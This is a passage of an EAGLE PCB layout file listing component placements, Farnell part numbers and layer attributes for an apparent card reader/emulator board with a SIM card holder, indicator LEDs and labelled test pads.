ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"4.057\" y=\"7.6795\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"FARNELL\" value=\"9332014\" x=\"3.2\" y=\"6.6\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"3.2\" y=\"6.6\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"3.2\" y=\"6.6\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"3.2\" y=\"6.6\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"3.2\" y=\"6.6\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n</element>\n<element name=\"LED4\" library=\"SparkFun\" package=\"LED-0603\" value=\"READ grn\" x=\"3.2\" y=\"10.6\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"2.4015\" y=\"9.311\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"4.9795\" y=\"8.284\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" value=\"2146434\" x=\"3.2\" y=\"10.6\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"3.2\" y=\"10.6\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"3.2\" y=\"10.6\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"3.2\" y=\"10.6\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"3.2\" y=\"10.6\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"JP16\" library=\"SchmalzHaus\" package=\"1X08\" value=\"\" x=\"1.61\" y=\"63.71\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"1.61\" y=\"63.71\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"1.61\" y=\"63.71\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"1.61\" y=\"63.71\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"1.61\" y=\"63.71\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"1.61\" y=\"63.71\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"1.0438\" y=\"65.0388\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"-1.565\" y=\"64.98\" size=\"1.27\" layer=\"27\" rot=\"R270\"/>\n</element>\n<element name=\"LED5\" library=\"SparkFun\" package=\"LED-0603\" value=\"EMULATE red\" x=\"3.2\" y=\"22.3\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"3.2\" y=\"22.3\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"2099221\" x=\"3.2\" y=\"22.3\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"3.2\" y=\"22.3\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"y right angled part\" x=\"3.2\" y=\"22.3\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"3.2\" y=\"22.3\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"4.0985\" y=\"23.789\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"1.2205\" y=\"28.416\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n</element>\n<element name=\"R24\" library=\"resistor\" package=\"R0603\" value=\"330\" x=\"3.2\" y=\"26.9\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"3.2\" y=\"26.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"9332014\" x=\"3.2\" y=\"26.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"3.2\" y=\"26.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"3.2\" y=\"26.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"3.2\" y=\"26.9\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"4.711\" y=\"25.911\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"5.832\" y=\"25.811\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n</element>\n<element name=\"U$1\" library=\"1FAB\" package=\"AP_LOGO_5MM_SILK\" value=\"\" x=\"86.1\" y=\"9\" smashed=\"yes\"/>\n<element name=\"U8\" library=\"1FAB\" package=\"SOT223\" value=\"LDO-SOT223-REG\" x=\"104\" y=\"41\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"FARNELL\" value=\"9778195\" x=\"104\" y=\"41\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"should be replaced\" x=\"104\" y=\"41\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"104\" y=\"41\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"97.9492\" y=\"40.16\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"99.2208\" y=\"37.56\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n</element>\n<element name=\"JP18\" library=\"SparkFun 26-2-11\" package=\"1X02_LOCK_LONGPADS\" value=\"\" x=\"106.1\" y=\"63.9\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"106.1\" y=\"63.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"106.1\" y=\"63.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"106.1\" y=\"63.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"106.1\" y=\"63.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"106.1\" y=\"63.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"106.1\" y=\"63.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"107.67\" y=\"65.522\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"109.402\" y=\"62.63\" size=\"1.27\" layer=\"27\" font=\"vector\" rot=\"R90\"/>\n</element>\n<element name=\"U5\" library=\"1FAB\" package=\"SOIC127P600X175-14N\" value=\"SN74AHCT125D\" x=\"26.4\" y=\"22.8\" smashed=\"yes\">\n<attribute name=\"PACKAGE\" value=\"SOIC-14\" x=\"26.4\" y=\"22.8\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"OC_NEWARK\" value=\"76C1498\" x=\"26.4\" y=\"22.8\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"MPN\" value=\"SN74AHCT125D\" x=\"26.4\" y=\"22.8\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"SUPPLIER\" value=\"Texas Instruments\" x=\"26.4\" y=\"22.8\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"OC_FARNELL\" value=\"1287453\" x=\"26.4\" y=\"22.8\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"21.382\" y=\"27.0816\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"SR0\"/>\n<attribute name=\"VALUE\" x=\"21.9456\" y=\"17.38\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"SR0\"/>\n<attribute name=\"FARNELL\" value=\"1287453\" x=\"26.4\" y=\"22.8\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"26.4\" y=\"22.8\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"26.4\" y=\"22.8\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"LED3\" library=\"SparkFun\" package=\"LED-0603\" value=\"USER_LED yel\" x=\"102.2\" y=\"11.9\" smashed=\"yes\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"102.2\" y=\"11.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"102.2\" y=\"11.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"2146436\" x=\"102.2\" y=\"11.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"102.2\" y=\"11.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"102.2\" y=\"11.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"103.8015\" y=\"10.611\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"105.0795\" y=\"8.684\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n</element>\n<element name=\"R21\" library=\"resistor\" package=\"R0603\" value=\"330\" x=\"99.3\" y=\"11.9\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"99.3\" y=\"11.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"99.3\" y=\"11.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"9332014\" x=\"99.3\" y=\"11.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"99.3\" y=\"11.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"99.3\" y=\"11.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"98.311\" y=\"11.411\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"101.032\" y=\"11.011\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n</element>\n<element name=\"C12\" library=\"resistor\" package=\"C0603\" value=\"1nF\" x=\"8.3\" y=\"19.9\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"8.3\" y=\"19.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"8.3\" y=\"19.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"8.3\" y=\"19.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"1414606\" x=\"8.3\" y=\"19.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"8.3\" y=\"19.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"8.3\" y=\"19.9\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"9.189\" y=\"19.138\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"9.189\" y=\"21.932\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n</element>\n<element name=\"U7\" library=\"1FAB\" package=\"SIM_CARD_CONN\" value=\"SIMCARD_HOLDER_SMALL\" x=\"16.5\" y=\"48.4\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"16.5\" y=\"48.4\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"16.5\" y=\"48.4\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"16.5\" y=\"48.4\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"R26\" library=\"resistor\" package=\"R0603\" value=\"4K7\" x=\"26.1\" y=\"60\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"26.1\" y=\"60\" size=\"0.8128\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"26.1\" y=\"60\" size=\"0.8128\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"26.1\" y=\"60\" size=\"0.8128\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"XFARNELL\" value=\"2078913\" x=\"26.1\" y=\"60\" size=\"0.8128\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"26.1\" y=\"60\" size=\"0.8128\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"26.1\" y=\"60\" size=\"0.8128\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"25.211\" y=\"59.111\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"27.632\" y=\"58.911\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"26.1\" y=\"60\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"SIMVPP\" library=\"pinhead\" package=\"1X01\" value=\"\" x=\"2\" y=\"67.4\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"5.0462\" y=\"70.1712\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"0.73\" y=\"64.225\" size=\"1.27\" layer=\"27\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"2\" y=\"67.4\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"2\" y=\"67.4\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"2\" y=\"67.4\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"C26\" library=\"resistor\" package=\"C0603\" value=\"10nF\" x=\"26.3\" y=\"16.3\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"26.3\" y=\"16.3\" size=\"0.8128\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"26.3\" y=\"16.3\" size=\"0.8128\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"26.3\" y=\"16.3\" size=\"0.8128\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"1301715\" x=\"26.3\" y=\"16.3\" size=\"0.8128\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"26.3\" y=\"16.3\" size=\"0.8128\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"26.3\" y=\"16.3\" size=\"0.8128\" layer=\"27\" ratio=\"15\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"25.989\" y=\"15.538\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"29.389\" y=\"15.532\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n</element>\n<element name=\"F1\" library=\"SparkFun\" package=\"PTC-1206\" value=\"250ma\" x=\"102.2\" y=\"64.7\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"NAME\" x=\"100.262\" y=\"65.489\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"103.457\" y=\"66.916\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"FARNELL\" value=\"1596990\" x=\"102.2\" y=\"64.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n</element>\n<element name=\"JP14\" library=\"pinhead\" package=\"1X40\" value=\"\" x=\"57\" y=\"34.95\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"6.0212\" y=\"33.4238\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"6.2\" y=\"31.775\" size=\"1.27\" layer=\"27\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"57\" y=\"34.95\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"JP15\" library=\"pinhead\" package=\"1X40\" value=\"\" x=\"57\" y=\"70.2\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"5.8712\" y=\"69.0238\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"6.2\" y=\"67.025\" size=\"1.27\" layer=\"27\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"57\" y=\"70.2\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"Q1\" library=\"SparkFun-DiscreteSemi\" package=\"SOT323\" value=\"2N3904\" x=\"8.5\" y=\"27.3\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"8.5\" y=\"27.3\" size=\"0.8\" layer=\"27\" ratio=\"15\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"8.5\" y=\"27.3\" size=\"0.8\" layer=\"27\" ratio=\"15\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"8.5\" y=\"27.3\" size=\"0.8\" layer=\"27\" ratio=\"15\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"1459102\" x=\"8.5\" y=\"27.3\" size=\"0.8\" layer=\"27\" ratio=\"15\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"8.5\" y=\"27.3\" size=\"0.8\" layer=\"27\" ratio=\"15\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"y change footprint to sot323\" x=\"8.5\" y=\"27.3\" size=\"0.8\" layer=\"27\" ratio=\"15\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"7.411\" y=\"29.332\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"6.284\" y=\"24.7095\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\"/>\n</element>\n<element name=\"R2\" library=\"resistor\" package=\"R0603\" value=\"1k\" x=\"15.2\" y=\"30.4\" smashed=\"yes\">\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"15.2\" y=\"30.4\" size=\"0.8\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"15.2\" y=\"30.4\" size=\"0.8\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"15.2\" y=\"30.4\" size=\"0.8\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"9238484\" x=\"15.2\" y=\"30.4\" size=\"0.8\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"15.2\" y=\"30.4\" size=\"0.8\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"15.2\" y=\"30.4\" size=\"0.8\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"12.211\" y=\"29.989\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"17.011\" y=\"30.168\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\"/>\n</element>\n<element name=\"TP10\" library=\"testpad\" package=\"TP20R\" value=\"RAW_READER_OUT\" x=\"38.2\" y=\"12.8\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"38.2\" y=\"10.26\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" x=\"38.2\" y=\"12.8\" size=\"1.27\" layer=\"28\" ratio=\"15\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"36.8\" y=\"14.95\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR180\"/>\n<attribute name=\"VALUE\" x=\"42.762\" y=\"10.284\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n</element>\n<element name=\"TP2\" library=\"testpad\" package=\"TP20R\" value=\"DIV-\" x=\"52.4\" y=\"4.8\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"52.4\" y=\"2.26\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" x=\"52.4\" y=\"4.8\" size=\"1.27\" layer=\"28\" ratio=\"15\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"53.4\" y=\"6.25\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"53.262\" y=\"2.684\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n</element>\n<element name=\"TP3\" library=\"testpad\" package=\"TP20R\" value=\"DIV+\" x=\"76.2\" y=\"3.3\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"76.2\" y=\"0.76\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" x=\"76.2\" y=\"3.3\" size=\"1.27\" layer=\"28\" ratio=\"15\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"74.8\" y=\"3.65\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"74.762\" y=\"2.284\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n</element>\n<element name=\"TP6\" library=\"testpad\" package=\"TP20R\" value=\"OP+OUT\" x=\"87\" y=\"5.7\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"87\" y=\"3.16\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" x=\"87\" y=\"5.7\" size=\"1.27\" layer=\"28\" ratio=\"15\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"85.8\" y=\"5.95\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"85.762\" y=\"4.784\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n</element>\n<element name=\"TP4\" library=\"testpad\" package=\"TP20R\" value=\"OP-OUT\" x=\"94.7\" y=\"5.7\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"94.7\" y=\"3.16\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" x=\"94.7\" y=\"5.7\" size=\"1.27\" layer=\"28\" ratio=\"15\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"93.4\" y=\"6.05\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"95.162\" y=\"7.184\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n</element>\n<element name=\"TP8\" library=\"testpad\" package=\"TP20R\" value=\"UPS_ORIN1\" x=\"85.1\" y=\"29.1\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"85.1\" y=\"26.56\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" x=\"85.1\" y=\"29.1\" size=\"1.27\" layer=\"28\" ratio=\"15\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"83.6\" y=\"28.45\" size=\"0.8128\" layer=\"26\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"85.262\" y=\"26.884\" size=\"0.8128\" layer=\"28\" font=\"vector\" ratio=\"15\" rot=\"MR0\"/>\n</element>\n<element name=\"TP9\" library=\"testpad\" package=\"TP20R\" value=\"DOWNS_ORIN1\" x=\"96.1\" y=\"31.1\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"TP_SIGNAL_NAME\" value=\"\" x=\"96.1\" y=\"28.56\" size=\"1\" layer=\"38\" rot=\"MR0\"/>\n<attribute name=\"POGOPIN\" x=\"96.1\" y=\"31.1\" size=\"1.27\" layer=\"28\" ratio=\"15\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"NAME\" 